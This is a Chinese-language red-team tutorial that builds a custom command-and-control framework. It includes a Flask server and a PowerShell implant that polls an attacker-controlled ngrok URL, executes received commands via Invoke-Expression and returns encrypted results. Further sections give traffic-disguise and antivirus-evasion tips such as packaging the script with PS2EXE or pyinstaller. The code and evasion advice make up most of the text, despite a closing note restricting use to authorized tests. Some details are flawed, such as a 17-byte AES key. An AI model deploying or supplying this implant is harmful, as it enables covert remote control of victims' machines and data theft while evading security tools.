一、C2服务器的核心原理拆解

C2(Command and Control)服务器,是红队活动中的指挥中枢,能够实现对目标设备的远程控制、数据回传和指令执行。它的核心逻辑在于建立隐蔽的双向通信通道,确保攻击者能够在不中断连接的情况下持续操作被控设备。

从技术层面看,C2服务器的核心目标包括以下几点:

  1. 通信隐蔽性:确保流量不会被防火墙或流量审计系统发现。
  2. 命令交互性:能发送各种攻击载荷(Payload)并执行指令。
  3. 稳定性与持久性:即使被控端重启或网络环境变化,通信仍能继续。
  4. 灵活性:支持多种操作,例如文件操作、权限提升、横向移动等。

C2的搭建方式有很多种,市面上也有诸如 Cobalt Strike、Sliver、Metasploit 等成熟框架。然而,这些工具往往容易被安全设备签名检测,尤其是 EDR(终端检测和响应)产品。因此,我们今天将从零开始,基于开源组件构建一个定制化的 C2 框架,以绕过常见检测。

---

二、搭建攻击环境:实验室准备

黑客示意图

在实战中,C2 服务器的搭建往往需要高度定制化,为了便于演示,我们在本节会从简单的基础环境开始。

环境清单

  • 攻击者机器:Kali Linux(或任何支持 Python 的系统)
  • 目标机器:Windows 10(启用 Defender,模拟真实环境)
  • 通信工具:Flask(Python Web框架),用于快速搭建 C2 通信服务。
  • 通信协议:HTTP,伪装成合法流量。
  • 隐蔽性工具:Base64 编码 + 数据加密(AES)。

环境配置

  1. 安装 Flask
  2. 在攻击者(C2服务器)机器上,安装 Flask,用于搭建通信接口: <pre><code class="language-bash"> pip install flask `

黑客示意图

  1. 配置目标机器
  • Windows 10 自带的 PowerShell 是我们将要利用的核心工具。
  • 确保 PowerShell 版本支持 Invoke-WebRequestConvertTo-SecureString 命令。
  1. 网络模拟
  2. 如果没有公网 IP,可以通过 Ngrok 或者 Frp 工具将本地 C2 服务暴露到公网: `bash ./ngrok http 5000 `

至此,我们的简易测试环境已经就绪,接下来将开始 C2 的核心代码实现。

---

三、从0到1:C2通信模块开发

为了快速搭建一个具有隐蔽通信能力的 C2,我们将通过 Python 和 Flask 来实现服务端逻辑,而被控端(Windows)通过 PowerShell 脚本来与服务端交互。

服务端代码实现

以下是一个简单的 C2 服务端代码,基于 Flask 实现: </code></pre>python from flask import Flask, request, jsonify from Crypto.Cipher import AES import base64

黑客示意图

app = Flask(__name__)

加密密钥(必须为16/24/32字节长度)

key = b"thisisaverysecret"

AES 加密函数

def encrypt(data): cipher = AES.new(key, AES.MODE_ECB) padded_data = data + (16 - len(data) % 16) * chr(16 - len(data) % 16) # PKCS7 padding encrypted = cipher.encrypt(padded_data.encode()) return base64.b64encode(encrypted).decode()

AES 解密函数

def decrypt(data): cipher = AES.new(key, AES.MODE_ECB) decoded = base64.b64decode(data) decrypted = cipher.decrypt(decoded) return decrypted.rstrip(b'\x10').decode() # 去掉填充

@app.route('/command', methods=['POST']) def command():

接收被控端的心跳包和数据

data = request.json decrypted = decrypt(data['data']) print(f"[+] Received from target: {decrypted}")

生成返回指令(比如执行 whoami)

command = "whoami" encrypted = encrypt(command) return jsonify({"command": encrypted})

if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) <pre><code> 说明

  • 服务端监听 /command 接口,接受目标机器的请求。
  • 数据传输采用 AES 加密,确保即使被拦截,内容也无法直接解读。
  • 返回的指令通过加密后发送,目标机器会解密并执行。

被控端代码实现

目标机器上将运行的 PowerShell 脚本如下: </code></pre>powershell

AES 解密函数

function Decrypt-String($encrypted, $key) { $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key) $encryptedBytes = [Convert]::FromBase64String($encrypted) $aes = [System.Security.Cryptography.AesManaged]::new() $aes.Key = $keyBytes $aes.Mode = "ECB" $aes.Padding = "PKCS7" $decryptor = $aes.CreateDecryptor() $plaintextBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) return [System.Text.Encoding]::UTF8.GetString($plaintextBytes) }

AES 加密函数

function Encrypt-String($plaintext, $key) { $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key) $plaintextBytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $aes = [System.Security.Cryptography.AesManaged]::new() $aes.Key = $keyBytes $aes.Mode = "ECB" $aes.Padding = "PKCS7" $encryptor = $aes.CreateEncryptor() $encryptedBytes = $encryptor.TransformFinalBlock($plaintextBytes, 0, $plaintextBytes.Length) return [Convert]::ToBase64String($encryptedBytes) }

服务端 URL 和密钥

$serverUrl = "http://your-ngrok-url/command" $key = "thisisaverysecret"

心跳包发送逻辑

while ($true) {

发送心跳包

$data = Encrypt-String "ping" $key $response = Invoke-WebRequest -Uri $serverUrl -Method POST -Body (@{ data = $data } | ConvertTo-Json) -ContentType "application/json"

解密服务端指令

$command = Decrypt-String ($response.Content | ConvertFrom-Json).command $key Write-Host "[*] Executing command: $command"

执行指令并回传结果

$result = Invoke-Expression $command $resultData = Encrypt-String $result $key Invoke-WebRequest -Uri $serverUrl -Method POST -Body (@{ data = $resultData } | ConvertTo-Json) -ContentType "application/json"

Start-Sleep -Seconds 5 } `

黑客示意图

说明

  • 脚本通过 Invoke-WebRequest 与服务端通信,每次都会发送心跳包。
  • 收到服务端指令后解密并执行,并将结果加密后回传。

---

四、隐蔽性提升:流量伪装与免杀技巧

以上代码虽然功能完整,但在面对实际检测时,可能存在以下问题:

  1. 特征流量暴露:HTTP 请求中包含可疑的数据包内容。
  2. PowerShell 脚本被检测:Defender 对 PowerShell 命令的敏感性较高。

改进策略

  1. 流量伪装
  • 将数据伪装成合法的 HTTP Header:
  • `python headers = {"User-Agent": "Mozilla/5.0", "X-Data": encrypted} `

  • 或者混淆参数名称:
  • `python response = requests.post(url, data={"id": encrypted}) `

  1. 脚本免杀
  • 使用 PS2EXE 将 PowerShell 脚本编译为 EXE 文件。
  • 使用 Python 的 pyinstaller 工具重新封装,加密字符串。

---

五、总结与个人经验

通过以上的讲解,我们成功实现了:

  1. 一个轻量化的 C2 框架,支持隐蔽通信和指令交互。
  2. 使用 AES 加密,确保通信数据难以被拦截和解读。
  3. 针对流量特征和工具检测,提出了一些绕过策略。

在实际红队活动中,自定义 C2 是一项必备技能,可以帮助我们绕过市面上常见的安全检测工具。但请务必注意,以上技术仅限于授权的测试环境,任何未授权使用均属非法行为。

让攻击者真正强大的,从来不是工具,而是思维。希望这篇文章能为你的红队技能树再添一笔。